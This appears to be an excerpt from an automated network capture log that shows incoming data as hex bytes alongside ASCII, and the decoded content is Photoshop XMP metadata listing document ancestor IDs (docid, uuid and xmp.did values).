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2022-06-08 07:56:16 UTC 3414 IN Data Raw: 6c 69 3e 43 30 39 44 37 35 46 44 30 37 31 45 30 43 44 43 41 32 31 38 45 31 38 41 34 42 44 30 42 35 43 46 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 41 38 35 34 36 41 38 30 37 44 41 43 41 43 43 35 46 36 44 
36 45 41 34 42 38 42 46 34 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 41 41 35 33 38 35 31 37 3
7 35 43 42 46 31 46 33 31 39 42 46 41 30 36 33 31 46 34 36 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
43 30 42 31 44 33 42 34 45 45 38 35 31 41 35 36 36 44 46 30 37 43 38 42 41 42 31 46 35 44 45 35 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 42 41 46 41 44 36 36 33 31 44 33 42 39 42 36 46 42 34 35 43 43 46 37 34 41 33 
36 37 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 
Data Ascii: li>C09D75FD071E0CDCA218E18A4BD0B5CF</rdf:li> <rdf:li>C0A8546A807DACACC5F6D6EA4B8BF412</r
df:li> <rdf:li>C0AA53851775CBF1F319BFA0631F466A</rdf:li> <rdf:li>C0B1D3B4EE851A566DF07C8BAB1F5DE5</r
df:li> <rdf:li>C0BAFAD6631D3B9B6FB45CCF74A36743</rdf:li> <rdf:li>C0

2022-06-08 07:56:16 UTC 3504 IN Data Raw: 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 42 42 32 30 30 36 39 45 36 34 41 43 42 35 35 
37 44 35 39 41 46 41 31 39 35 34 39 37 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 42 42 41 46 
32 30 42 37 41 35 44 43 32 39 34 37 45 36 36 39 32 45 35 35 46 34 42 43 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 43 44 42 46 41 39 41 32 35 39 45 42 45 38 41 42 36 45 41 46 39 38 39 30 37 35 37 32 44 30 34 33 3c 2f 7
2 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 43 43 37 46 36 45 43 37 35 31 31 31 42 35 35 35 31 33 37 39 44 
45 45 31 32 41 34 45 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 44 30 36 41 33 43 45 32 46 39 
45 30 35 31 39 42 43 36 31 41 35 38 37 33 37 31 45 42 39 38 3c 2f 72 64 
Data Ascii: B</rdf:li> <rdf:li>CDBB20069E64ACB557D59AFA1954978D</rdf:li> <rdf:li>CDBBAF20B7A5DC2947E
6692E55F4BC5E</rdf:li> <rdf:li>CDBFA9A259EBE8AB6EAF98907572D043</rdf:li> <rdf:li>CDCC7F6EC75111B5551
379DEE12A4E99</rdf:li> <rdf:li>CDD06A3CE2F9E0519BC61A587371EB98</rd

2022-06-08 07:56:16 UTC 3520 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 37 35 46 32 35 44 34 39 31 42 34 43 32 45 43 34 43 33 33 
43 44 37 42 36 33 45 35 31 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 38 41 42 43 31 31 42 30 
44 38 32 33 34 34 37 34 33 37 31 39 30 46 41 41 38 42 41 43 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 44 42 39 30 39 33 33 39 35 33 39 39 45 42 38 38 37 39 33 39 35 45 31 32 41 31 45 37 32 35 31 45 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 39 37 39 39 37 37 42 45 45 32 46 30 31 41 38 41 33 39 35 37 32 39 43 41 35 30 
43 33 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 41 41 31 37 31 37 46 34 37 41 39 41 31 34 43 
33 44 42 39 39 36 34 39 30 43 38 44 43 34 32 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: f:li> <rdf:li>DB75F25D491B4C2EC4C33CD7B63E51A8</rdf:li> <rdf:li>DB8ABC11B0D823447437190F
AA8BAC67</rdf:li> <rdf:li>DB9093395399EB8879395E12A1E7251E</rdf:li> <rdf:li>DB979977BEE2F01A8A395729
CA50C3C7</rdf:li> <rdf:li>DBAA1717F47A9A14C3DB996490C8DC42</rdf:li>

2022-06-08 07:56:16 UTC 3620 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 35 34 39 41 43 37 41 36 45 41 34 41 45 38 43 43 45 41 38 44 34 
44 43 41 42 44 42 42 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 36 32 45 39 30 45 36 36 30 31 
44 30 46 36 41 38 36 42 45 43 39 42 44 30 34 45 44 43 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 3
1 36 43 31 33 44 30 43 32 33 32 34 45 42 41 36 38 39 39 31 43 33 35 43 38 43 36 30 32 39 43 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 45 31 36 45 31 43 44 39 44 43 43 39 30 41 35 46 44 46 34 35 30 31 37 38 30 30 46 41 46 
34 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 37 35 36 39 46 42 41 45 30 39 33 44 45 42 43 41 
31 39 45 37 30 31 41 44 45 31 31 41 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: li> <rdf:li>E1549AC7A6EA4AE8CCEA8D4DCABDBBEB</rdf:li> <rdf:li>E162E90E6601D0F6A86BEC9BD0
4EDCF5</rdf:li> <rdf:li>E16C13D0C2324EBA68991C35C8C6029C</rdf:li> <rdf:li>E16E1CD9DCC90A5FDF45017800
FAF415</rdf:li> <rdf:li>E17569FBAE093DEBCA19E701ADE11AD7</rdf:li> <

2022-06-08 07:56:16 UTC 3690 IN Data Raw: 45 34 42 37 36 32 45 38 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 44 42 41 32 38 31 31 
38 45 34 46 35 34 33 36 38 46 31 41 36 34 46 32 36 37 41 39 38 35 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 45 44 42 45 34 38 31 46 33 43 37 34 31 31 45 32 33 44 32 46 42 33 42 33 34 38 43 46 33 43 41 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 44 43 38 31 44 42 33 31 35 33 37 44 34 41 46 32 34 38 38 41 38 39 35 37 
37 42 39 46 45 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 44 43 45 46 39 46 32 42 31 38 33 46 36 
43 32 35 32 37 34 37 45 43 44 45 42 34 32 33 34 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 44 44 
33 32 34 36 41 30 43 41 38 30 39 42 37 46 35 33 32 46 31 45 34 30 41 34 
Data Ascii: E4B762E8A5</rdf:li> <rdf:li>EDBA28118E4F54368F1A64F267A98560</rdf:li> <rdf:li>EDBE481F3C
7411E23D2FB3B348CF3CA6</rdf:li> <rdf:li>EDC81DB31537D4AF2488A89577B9FE76</rdf:li> <rdf:li>EDCEF9F2B1
83F6C252747ECDEB423498</rdf:li> <rdf:li>EDD3246A0CA809B7F532F1E40A4

2022-06-08 07:56:16 UTC 3706 IN Data Raw: 35 45 38 35 44 39 35 38 30 45 33 32 44 30 34 30 46 46 32 38 37 30 36 44 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 46 41 30 35 31 33 36 37 32 36 31 35 34 30 41 33 39 44 45 38 37 31 30 31 36 42 44 33 37 42 34 
41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 31 33 38 30 39 35 41 33 35 39 36 44 44 43 43 34 38 39 
31 45 30 34 44 31 42 46 44 36 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 31 43 43 37 34 42 44 3
4 32 37 35 34 31 46 32 31 31 36 37 39 46 45 46 37 35 41 44 34 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 46 41 33 31 46 45 32 37 38 39 46 35 36 44 36 36 32 37 30 34 42 34 32 32 44 41 35 37 36 46 33 38 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 33 33 35 30 37 44 36 31 43 
Data Ascii: 5E85D9580E32D040FF28706D53</rdf:li> <rdf:li>FA051367261540A39DE871016BD37B4A</rdf:li> <r
df:li>FA138095A3596DDCC4891E04D1BFD66C</rdf:li> <rdf:li>FA1CC74BD427541F211679FEF75AD496</rdf:li> <r
df:li>FA31FE2789F56D662704B422DA576F38</rdf:li> <rdf:li>FA33507D61C

2022-06-08 07:56:16 UTC 3801 IN Data Raw: 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 30 66 62 61 31 64 61 2d 32 61 
38 34 2d 31 31 65 36 2d 62 33 66 30 2d 63 35 33 63 32 38 35 63 33 62 62 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 31 34 32 31 33 36 30 2d 64 33 37 37 2d 
31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 31 35 38 65 63 33 30 2d 64 39 36 39 2d 31 31 64 
39 2d 61 33 65 33 2d 64 33 66 65 33 35 65 39 30 66 62 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6
f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 31 
Data Ascii: li>adobe:docid:photoshop:00fba1da-2a84-11e6-b3f0-c53c285c3bb0</rdf:li> <rdf:li>adobe:docid:photosh
op:01421360-d377-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photoshop:0158ec30-d969-11d9-a3e3-d3fe35e
90fbd</rdf:li> <rdf:li>adobe:docid:photoshop:01

2022-06-08 07:56:16 UTC 3825 IN Data Raw: 37 38 2d 61 37 33 36 2d 39 66 35 31 37 33 63 37 32 36 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 64 39 64 38 39 35 2d 37 61 66 36 2d 31 31 
64 61 2d 62 30 36 33 2d 61 35 30 38 37 61 34 35 31 61 65 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 65 64 34 32 61 32 2d 62 36 62 30 2d 31 31 65 31 2d 
62 36 61 36 2d 64 32 65 36 37 34 30 63 33 37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 
65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 37 31 61 37 65 35 63 2d 37 61 62 36 2d 31 31 37 38 2d 62 62 35 
34 2d 61 30 61 34 65 33 31 62 61 35 39 61 3c 2f 72 64 66 3a 6c 
Data Ascii: 78-a736-9f5173c7262d</rdf:li> <rdf:li>adobe:docid:photoshop:36d9d895-7af6-11da-b063-a5087a451ae2</
rdf:li> <rdf:li>adobe:docid:photoshop:36ed42a2-b6b0-11e1-b6a6-d2e6740c37af</rdf:li> <rdf:li>adobe:docid:photos
hop:371a7e5c-7ab6-1178-bb54-a0a4e31ba59a</rdf:l
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2022-06-08 07:56:16 UTC 3841 IN Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 34 35 30 34 39 39 36 2d 35 61 65 35 2d 31 31 64 65 2d 39 
34 32 30 2d 38 62 39 39 30 38 63 35 35 65 62 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 34 38 36 66 64 33 31 2d 39 62 38 35 2d 31 31 65 36 2d 61 39 66 66 
2d 38 64 36 36 35 36 65 64 37 65 61 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 
69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 34 63 35 61 37 31 36 2d 66 63 37 37 2d 64 39 34 65 2d 62 35 35 61 2d 64 61 
37 61 31 39 39 35 65 36 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
70 68 6f 74 6f 73 68 6f 70 3a 36 35 36 66 35 34 30 32 2d 64 63 
Data Ascii: docid:photoshop:64504996-5ae5-11de-9420-8b9908c55eb1</rdf:li> <rdf:li>adobe:docid:photoshop:6486fd31-
9b85-11e6-a9ff-8d6656ed7ea9</rdf:li> <rdf:li>adobe:docid:photoshop:64c5a716-fc77-d94e-b55a-da7a1995e645</rdf:li> 
<rdf:li>adobe:docid:photoshop:656f5402-dc

2022-06-08 07:56:16 UTC 3961 IN Data Raw: 31 38 62 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
6f 74 6f 73 68 6f 70 3a 37 38 65 34 62 63 63 33 2d 65 64 33 38 2d 31 31 64 38 2d 39 30 30 63 2d 65 62 30 62 38 65 38 
38 33 35 65 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 
73 68 6f 70 3a 37 39 30 37 31 63 61 32 2d 65 34 39 63 2d 31 31 65 37 2d 61 30 33 39 2d 61 39 65 36 64 37 32 38 37 35 
38 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 37 39 31 31 31 39 33 36 2d 34 64 38 31 2d 31 31 65 30 2d 61 63 30 37 2d 64 35 37 63 66 63 33 36 33 64 34 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
Data Ascii: 18b8</rdf:li> <rdf:li>adobe:docid:photoshop:78e4bcc3-ed38-11d8-900c-eb0b8e8835e2</rdf:li> <rdf:li>
adobe:docid:photoshop:79071ca2-e49c-11e7-a039-a9e6d728758a</rdf:li> <rdf:li>adobe:docid:photoshop:79111936-4d8
1-11e0-ac07-d57cfc363d45</rdf:li> <rdf:li>adobe

2022-06-08 07:56:16 UTC 4032 IN Data Raw: 61 62 62 64 35 38 35 32 2d 63 62 66 33 2d 31 31 65 37 2d 61 61 33 39 2d 62 34 37 38 64 32 62 64 39 34 39 
65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
3a 61 62 64 31 32 37 63 39 2d 38 34 31 33 2d 31 31 37 62 2d 62 37 36 66 2d 62 63 35 62 38 63 31 34 62 66 39 62 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 63 
33 36 32 61 62 32 2d 30 33 63 64 2d 31 31 65 36 2d 61 34 32 62 2d 38 39 39 65 63 30 31 30 38 66 36 65 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 63 37 30 30 
33 37 34 2d 38 65 31 62 2d 31 31 37 37 2d 61 38 33 63 2d 63 31 62 
Data Ascii: abbd5852-cbf3-11e7-aa39-b478d2bd949e</rdf:li> <rdf:li>adobe:docid:photoshop:abd127c9-8413-117b-b76f-
bc5b8c14bf9b</rdf:li> <rdf:li>adobe:docid:photoshop:ac362ab2-03cd-11e6-a42b-899ec0108f6e</rdf:li> <rdf:li>ad
obe:docid:photoshop:ac700374-8e1b-1177-a83c-c1b

2022-06-08 07:56:16 UTC 4048 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 
31 63 35 32 38 37 30 2d 34 61 39 65 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 30 32 63 35 38 30 64 64 32 37 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 32 33 31 
31 65 31 32 2d 38 65 64 30 2d 32 30 34 38 2d 62 39 35 62 2d 38 33 39 66 63 33 64 30 36 65 30 30 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 32 36 32 63 62 61 
63 2d 38 30 36 37 2d 31 31 64 61 2d 61 35 35 64 2d 39 39 65 30 33 36 65 64 31 32 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
Data Ascii: :li> <rdf:li>adobe:docid:photoshop:e1c52870-4a9e-1178-a24c-f102c580dd27</rdf:li> <rdf:li>adobe:doc
id:photoshop:e2311e12-8ed0-2048-b95b-839fc3d06e00</rdf:li> <rdf:li>adobe:docid:photoshop:e262cbac-8067-11da-a5
5d-99e036ed1220</rdf:li> <rdf:li>adobe:docid:ph

2022-06-08 07:56:16 UTC 4088 IN Data Raw: 2d 31 31 65 36 2d 62 65 62 35 2d 64 65 39 61 62 62 62 65 32 64 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 38 30 34 37 37 37 32 2d 39 65 63 38 
2d 31 31 64 38 2d 39 34 38 65 2d 39 32 35 33 34 62 35 32 38 61 64 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 38 38 37 64 30 65 35 2d 37 64 35 63 2d 31 31 
65 31 2d 38 33 38 38 2d 38 32 30 37 36 36 66 61 63 32 61 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 38 38 37 64 30 65 61 2d 37 64 35 63 2d 31 31 65 31 2d 
38 33 38 38 2d 38 32 30 37 36 36 66 61 63 32 61 38 3c 2f 72 64 
Data Ascii: -11e6-beb5-de9abbbe2d87</rdf:li> <rdf:li>adobe:docid:photoshop:f8047772-9ec8-11d8-948e-92534b528ad
7</rdf:li> <rdf:li>adobe:docid:photoshop:f887d0e5-7d5c-11e1-8388-820766fac2a8</rdf:li> <rdf:li>adobe:docid:pho
toshop:f887d0ea-7d5c-11e1-8388-820766fac2a8</rd

2022-06-08 07:56:16 UTC 4104 IN Data Raw: 75 69 64 3a 33 30 33 32 33 38 42 30 38 46 34 42 44 45 31 31 41 31 41 35 41 34 43 33 31 36 31 32 30 33 36 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 30 33 41 32 36 44 41 44 32 30 45 31 31 44 
42 39 41 43 42 46 46 33 36 31 38 45 44 46 36 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3
a 33 30 33 44 45 33 35 38 36 45 43 45 44 46 31 31 41 37 36 42 39 32 34 33 36 42 33 42 44 39 42 44 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 30 34 31 38 39 34 31 33 41 36 44 44 44 31 31 39 41 46 42 46 38 30 
43 30 44 31 32 42 42 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 30 35 41 34 34 35 
34 35 37 32 41 45 30 31 31 39 46 41 45 42 41 31 42 46 37 38 31 43 30 34 
Data Ascii: uid:303238B08F4BDE11A1A5A4C316120366</rdf:li> <rdf:li>uuid:303A26DAD20E11DB9ACBFF3618EDF
64C</rdf:li> <rdf:li>uuid:303DE3586ECEDF11A76B92436B3BD9BD</rdf:li> <rdf:li>uuid:304189413A6DDD119AF
BF80C0D12BBC3</rdf:li> <rdf:li>uuid:305A4454572AE0119FAEBA1BF781C04

2022-06-08 07:56:16 UTC 4631 IN Data Raw: 44 46 35 32 43 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 33 45 36 30 41 
46 36 39 44 43 45 44 44 31 31 38 41 37 31 42 43 38 33 43 39 46 41 45 46 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 75 75 69 64 3a 36 34 33 43 32 39 37 33 45 34 34 33 31 31 44 46 39 37 45 39 44 36 41 37 32 44 35 38 31 
34 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 34 36 42 30 31 46 31 31 31 44 30 45 3
0 31 31 38 46 43 39 44 42 46 33 33 36 44 41 41 31 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
64 3a 36 34 43 46 44 38 35 38 32 33 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 35 31 36 39 
Data Ascii: DF52C3B</rdf:li> <rdf:li>uuid:63E60AF69DCEDD118A71BC83C9FAEF40</rdf:li> <rdf:li>uuid:643
C2973E44311DF97E9D6A72D58148F</rdf:li> <rdf:li>uuid:646B01F111D0E0118FC9DBF336DAA1E2</rdf:li> <rdf:l
i>uuid:64CFD8582331E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:65169

2022-06-08 07:56:16 UTC 4663 IN Data Raw: 69 3e 75 75 69 64 3a 37 43 32 30 37 36 41 44 41 36 37 38 45 30 31 31 39 44 44 42 45 46 37 33 36 35 42 36 
35 45 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 43 34 39 46 43 37 32 44 45 32 41 
44 41 31 31 42 33 35 38 43 34 33 46 46 41 34 45 35 43 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 7
5 69 64 3a 37 43 39 37 38 37 42 45 43 39 36 39 31 31 44 46 38 35 33 43 44 42 44 30 36 36 37 34 30 39 39 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 43 42 32 34 38 31 37 46 35 39 39 45 30 31 31 38 44 31 
46 44 39 41 35 31 33 32 44 42 41 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 43 43 
32 31 36 34 34 43 46 35 43 45 32 31 31 39 33 30 42 42 38 37 32 35 31 43 32 
Data Ascii: i>uuid:7C2076ADA678E0119DDBEF7365B65E94</rdf:li> <rdf:li>uuid:7C49FC72DE2ADA11B358C43FFA
4E5CAD</rdf:li> <rdf:li>uuid:7C9787BEC96911DF853CDBD066740998</rdf:li> <rdf:li>uuid:7CB24817F599E011
8D1FD9A5132DBA14</rdf:li> <rdf:li>uuid:7CC21644CF5CE211930BB87251C2
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2022-06-08 07:56:16 UTC 4695 IN Data Raw: 41 41 34 38 37 41 46 38 44 44 31 31 42 37 46 36 42 37 35 34 46 46 32 35 41 36 30 36 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 46 46 34 45 39 37 34 46 45 30 45 31 31 44 42 39 33 31 32 42 38 33 44 
33 35 42 37 32 37 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 30 31 31 32 41 41 37 
31 46 43 43 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 75 75 69 64 3a 42 30 33 32 44 45 46 41 33 39 42 34 44 45 31 31 42 41 35 30 42 30 44 39 37 36 31 39 44 30 33 
30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 30 33 36 45 45 39 31 32 42 43 44 44 46 31 
31 42 38 44 31 43 37 42 33 37 46 33 43 44 33 35 33 3c 2f 72 64 66 3a 6c 
Data Ascii: AA487AF8DD11B7F6B754FF25A606</rdf:li> <rdf:li>uuid:AFF4E974FE0E11DB9312B83D35B72717</rdf:li> 
<rdf:li>uuid:B0112AA71FCCE011B3FED24831848F59</rdf:li> <rdf:li>uuid:B032DEFA39B4DE11BA50B0D9761
9D030</rdf:li> <rdf:li>uuid:B036EE912BCDDF11B8D1C7B37F3CD353</rdf:l

2022-06-08 07:56:16 UTC 4711 IN Data Raw: 69 64 3a 45 45 43 33 37 38 37 33 41 44 45 31 44 45 31 31 41 44 45 34 45 42 46 39 37 35 45 32 37 30 31 32 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 46 31 34 30 34 37 44 36 36 30 30 45 30 31 31 
39 45 39 38 39 42 45 31 43 34 36 43 44 46 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 4
5 46 32 34 33 34 31 33 46 36 42 38 45 30 31 31 41 34 37 37 46 42 42 37 41 32 34 30 37 45 42 32 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 46 35 34 33 45 46 41 46 38 32 38 45 34 31 31 41 34 31 37 43 39 43 46 
44 43 44 39 46 33 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 46 37 32 30 46 42 35 
45 45 35 31 31 31 44 46 38 46 36 45 43 46 32 35 34 45 34 44 39 43 35 44 
Data Ascii: id:EEC37873ADE1DE11ADE4EBF975E27012</rdf:li> <rdf:li>uuid:EF14047D6600E0119E989BE1C46CDF
5E</rdf:li> <rdf:li>uuid:EF243413F6B8E011A477FBB7A2407EB2</rdf:li> <rdf:li>uuid:EF543EFAF828E411A417
C9CFDCD9F30A</rdf:li> <rdf:li>uuid:EF720FB5EE5111DF8F6ECF254E4D9C5D

2022-06-08 07:56:16 UTC 4734 IN Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 45 32 43 
43 44 44 33 36 43 30 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 
31 31 37 34 30 37 32 30 36 38 31 31 38 31 43 39 45 30 35 36 33 42 39 34 32 38 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 41 37 41 33 
31 39 31 35 30 39 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 
31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 44 32 38 41 36 31 33 31 39 42 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 
Data Ascii: :li>xmp.did:01801174072068118083E2CCDD36C022</rdf:li> <rdf:li>xmp.did:018011740720681181
